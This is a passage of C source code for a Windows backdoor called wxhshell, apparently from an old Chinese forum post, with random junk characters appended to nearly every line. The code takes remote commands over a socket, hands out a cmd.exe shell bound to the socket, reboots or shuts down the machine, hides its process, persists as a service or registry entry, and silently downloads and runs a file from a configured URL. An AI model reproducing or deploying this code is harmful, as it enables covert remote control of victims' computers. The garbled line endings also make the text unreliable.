  else { Cc*R3vHM6  
\'<P~I&p  
    switch(cmd[0]) { t$~'$kM)<  
  /:Gy .  
  // 帮助 'e' p`*  
  case '?': { 7i{(,:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _{; _wwz  
    break; 9P ACXW0  
  } hdi0YL  
  // 安装 lZ7 $DGe  
  case 'i': { x{8h3.ZQ,  
    if(Install()) 0M roHFh9`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uoOUgNwGg  
    else ^e <E/j{~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z6l'v~\  
    break; 8PH4v\tJEK  
    } mNacLkh[  
  // 卸载 Z]R#F0"U  
  case 'r': { $H[q5(_~  
    if(Uninstall()) fqY'Uq$=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oSmETk\  
    else jwAYlnQ^EM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,OubKcNg  
    break; <qpzs@  
    } R3U|{vgl  
  // 显示 wxhshell 所在路径 @!'}=?`  
  case 'p': { 3(\D.Z  
    char svExeFile[MAX_PATH]; @y~kQ5k  
    strcpy(svExeFile,"\n\r"); 8 /t';  
      strcat(svExeFile,ExeFile); '7PaJj=Nx  
        send(wsh,svExeFile,strlen(svExeFile),0); Hnk&2bY  
    break; aA52Li  
    } P_NF;v5 v  
  // 重启 T}=^D=  
  case 'b': { OqDP{X:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jy% ?"wn  
    if(Boot(REBOOT)) OR!W3 @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![_0GFbT  
    else { xQDQgvwa  
    closesocket(wsh); HnKgD:  
    ExitThread(0); _fu <`|kc  
    } bKGX> %-  
    break; H!Q72tyo  
    } d?J&mLQ6  
  // 关机 ;>jEeIlT  
  case 'd': { o h\$u5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %+Ze$c}X  
    if(Boot(SHUTDOWN)) Iq4B%xo6G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ltDohm?  
    else { \>Rfa+  
    closesocket(wsh); [%^sl>,7  
    ExitThread(0); [SC6{ |  
    } vg[3\!8z[  
    break; @-Q l6k  
    } -qDqJ62mC  
  // 获取shell znTi_S  
  case 's': { 1<73uR&b%  
    CmdShell(wsh); >8k Xa.)84  
    closesocket(wsh); @WS77d~S  
    ExitThread(0); 86 e13MF  
    break; ;J TY#)Bh  
  } >~rlnRX  
  // 退出 ERIMz ,  
  case 'x': { th[v"qD9G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ty.$ H24  
    CloseIt(wsh); ed#fDMXGQ%  
    break; {~&Q"8 }G  
    } {~F|"v  
  // 离开 @}g3\xLiK  
  case 'q': { }URdoTOvb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EG3,TuDH8  
    closesocket(wsh); <6Gs0\JB  
    WSACleanup(); >h;]rMD!|  
    exit(1); :tU^  
    break; X:g5;NT  
        } G Ixs>E'X  
  } 0LH6G[  
  } wCNn/%C  
5kTs7zJ^  
  // 提示信息 Y06^M?}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {@)ZXg  
} 4 O8ct,Y  
  } $$NWN?H~  
~>u| 7 M$(  
  return; 7GsKD=bl]  
} ~ W8X g)  
Uc {m##!  
// shell模块句柄 8R3{YJ6@T  
int CmdShell(SOCKET sock) xt?-X%oY8  
{ \Dq'~ d  
STARTUPINFO si; rN} 8~j  
ZeroMemory(&si,sizeof(si)); KoNu{TJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7\2I>W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )8W! |  
PROCESS_INFORMATION ProcessInfo; h>\C2Q  
char cmdline[]="cmd"; P\ke%Jdpw?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /ki-Tha  
  return 0; XlU\D}zS  
} "Esl I  
K$h\<_V  
// 自身启动模式 y'!OA+ob  
int StartFromService(void) H)D|lt5xy  
{ A|r3c?q  
typedef struct ]<\YEz&A  
{ Tt)z[^)%  
  DWORD ExitStatus; 0<\|D^m=&h  
  DWORD PebBaseAddress; +mVAmG@  
  DWORD AffinityMask; &/WM:]^?0)  
  DWORD BasePriority; 5N|LT8P}Z  
  ULONG UniqueProcessId; -[-oz0`Sl{  
  ULONG InheritedFromUniqueProcessId; yqq1a o  
}   PROCESS_BASIC_INFORMATION; ewk7:zS/?  
F1@Po1VTD  
PROCNTQSIP NtQueryInformationProcess; kx;X:I(5&P  
3?*d v14  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2 3PRb<q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -|m3=#  
S"h;u=5it  
  HANDLE             hProcess; r$={_M$  
  PROCESS_BASIC_INFORMATION pbi; JFm@jc  
c}qpmWF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZDFq=)0C  
  if(NULL == hInst ) return 0; CXuD%H]tx  
Yn ~fnI{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c{/R?<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z2$_9.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `;6M|5G  
?CQE6ch  
  if (!NtQueryInformationProcess) return 0; _ f%s]  
/@ @F nQ++  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M co:eE  
  if(!hProcess) return 0; ;pW8a?  
M[mYG _{J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |"SZpx  
+QFKaS<sn  
  CloseHandle(hProcess); !+PrgIp>  
ISpV={$Zd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y5j:+2|I  
if(hProcess==NULL) return 0; :.*Q@X}-I  
CXrOb+  
HMODULE hMod; c6xr[tc%  
char procName[255]; cpa" ,8  
unsigned long cbNeeded; '\#q7YjaL  
IEy$2f>Ns  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aA|{r/.10K  
dA h cA.  
  CloseHandle(hProcess); eVfD&&@  
y]jx-w c3O  
if(strstr(procName,"services")) return 1; // 以服务启动 L[2qCxB'^  
z[c8W@OJ  
  return 0; // 注册表启动 ta)gOc)r R  
} 5?>4I"ne  
KY  
// 主模块 k _V+;&:%  
int StartWxhshell(LPSTR lpCmdLine) D", L.  
{ ]2@(^x'=  
  SOCKET wsl; >`x|E-X"  
BOOL val=TRUE; qIZ+%ZOu  
  int port=0; pWRdI_  
  struct sockaddr_in door; 0vqH-)}  
;O hQBAC  
  if(wscfg.ws_autoins) Install(); 8?nn4]P  
s5@BVD'}E  
port=atoi(lpCmdLine); M +OVqTsFU  
uQW)pD{_  
if(port<=0) port=wscfg.ws_port; .:j{d}p}  
q0+N#$g#  
  WSADATA data; -NwG' U~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ` 7iA?;  
%Y ZC dS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fxcE1=a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FvT4?7-  
  door.sin_family = AF_INET; NRx 7S 9W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v"1&xe^4  
  door.sin_port = htons(port); E"E(<a  
#a}w&O";  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H>/,Re  
closesocket(wsl); ompr})c  
return 1; 7I[[S!((s  
} aE07#  
#-B<u-  
  if(listen(wsl,2) == INVALID_SOCKET) { @:zC!dR)G  
closesocket(wsl); s1_Y~<y X  
return 1; $JOz7j(  
} ,5c7jZ5H  
  Wxhshell(wsl); ZvF#J_%gE5  
  WSACleanup(); .@&FJYkLYi  
Wmd@%K  
return 0; nr]=O`Mvh  
%_E5B6xi{  
} 66?`7j X  
ELwXp|L  
// 以NT服务方式启动 _K#7#qp2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vl1.]'p_  
{ ]  & ]G  
DWORD   status = 0; l5w^rj  
  DWORD   specificError = 0xfffffff; tQzbYzGb7  
@M\JzV4 A[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C,W@C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c:K/0zY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zdJPMNHg  
  serviceStatus.dwWin32ExitCode     = 0; Nt8"6k_  
  serviceStatus.dwServiceSpecificExitCode = 0; \ *CXXp`  
  serviceStatus.dwCheckPoint       = 0; c_qox  
  serviceStatus.dwWaitHint       = 0; )$^xbC#j`3  
3/vtx9D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G%~V b  
  if (hServiceStatusHandle==0) return; l^R:W#*+U  
5]*lH t  
status = GetLastError(); bq7+l4CGTv  
  if (status!=NO_ERROR) ]xvhUv!G  
{ YTTy6*\,_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jW#dUKS(  
    serviceStatus.dwCheckPoint       = 0; i%133in  
    serviceStatus.dwWaitHint       = 0; L?u {vX  
    serviceStatus.dwWin32ExitCode     = status; \)28,`  
    serviceStatus.dwServiceSpecificExitCode = specificError; auN8M.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yam'LF  
    return; Qf0P"s`  
  } w31O~Ve  
^kNVQJiZyG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Jl\^u%H(x  
  serviceStatus.dwCheckPoint       = 0; [Uk cG9  
  serviceStatus.dwWaitHint       = 0; nycJZ}f:wP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jF6Q:`k  
} AT t.}-  
Z%o.kd"  
// 处理NT服务事件,比如:启动、停止 6'*6tS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [5xm>Y&}  
{ Lb$Uba-_  
switch(fdwControl) O8hx}dOjA  
{ }%w;@[@L  
case SERVICE_CONTROL_STOP: K_U`T;Z\  
  serviceStatus.dwWin32ExitCode = 0; .n IGs'P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q']'KU.  
  serviceStatus.dwCheckPoint   = 0; E7h@c>IK  
  serviceStatus.dwWaitHint     = 0; 7V=deYt_p  
  { tz65Tn_M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #p=+RTZ<  
  } %+/v")8+?  
  return; 1<x5{/CZ  
case SERVICE_CONTROL_PAUSE:  e#5WX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N/-(~r[  
  break; iU.` TqR7  
case SERVICE_CONTROL_CONTINUE: EM<W+YU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u^C\aujg  
  break; K'8o'S_bF  
case SERVICE_CONTROL_INTERROGATE: t#M[w|5?  
  break; ';.TQ_I7Y  
}; hK4ww"-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =:T"naY(  
} P `<TO   
u@Gum|_=N  
// 标准应用程序主函数 J8FzQ2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,%m~OB #  
{ dT1UYG}>j  
\l(}8;5}  
// 获取操作系统版本 miBCq l@x  
OsIsNt=GetOsVer(); G8F;fG N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e{2Za   
0F!Uai1  
  // 从命令行安装 fc:87ZR{K  
  if(strpbrk(lpCmdLine,"iI")) Install(); dh}"uM}a  
L9hL@  
  // 下载执行文件 _j$V[=kdM/  
if(wscfg.ws_downexe) { X%!?\3S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?>=vKU5  
  WinExec(wscfg.ws_filenam,SW_HIDE); lKQjG+YF  
} LVP6vs  
tvJl-&'N  
if(!OsIsNt) { G|?V}pZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 'lC=k7@x  
HideProc(); ( K-7z  
StartWxhshell(lpCmdLine); P[`>*C\9c  
} p^{yA"MQ  
else f3,Xb ]h  
  if(StartFromService()) k"dE?v\cG  
  // 以服务方式启动 iw(`7(*  
  StartServiceCtrlDispatcher(DispatchTable); \8Ewl|"N:u  
else S]ndnxy"b  
  // 普通方式启动 $m.'d*e5  
  StartWxhshell(lpCmdLine); JKYtBXOl  
KPK`C0mg@k  
return 0; <6N3()A)%1  
}
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只看该作者 1 发表于: 2006-10-10
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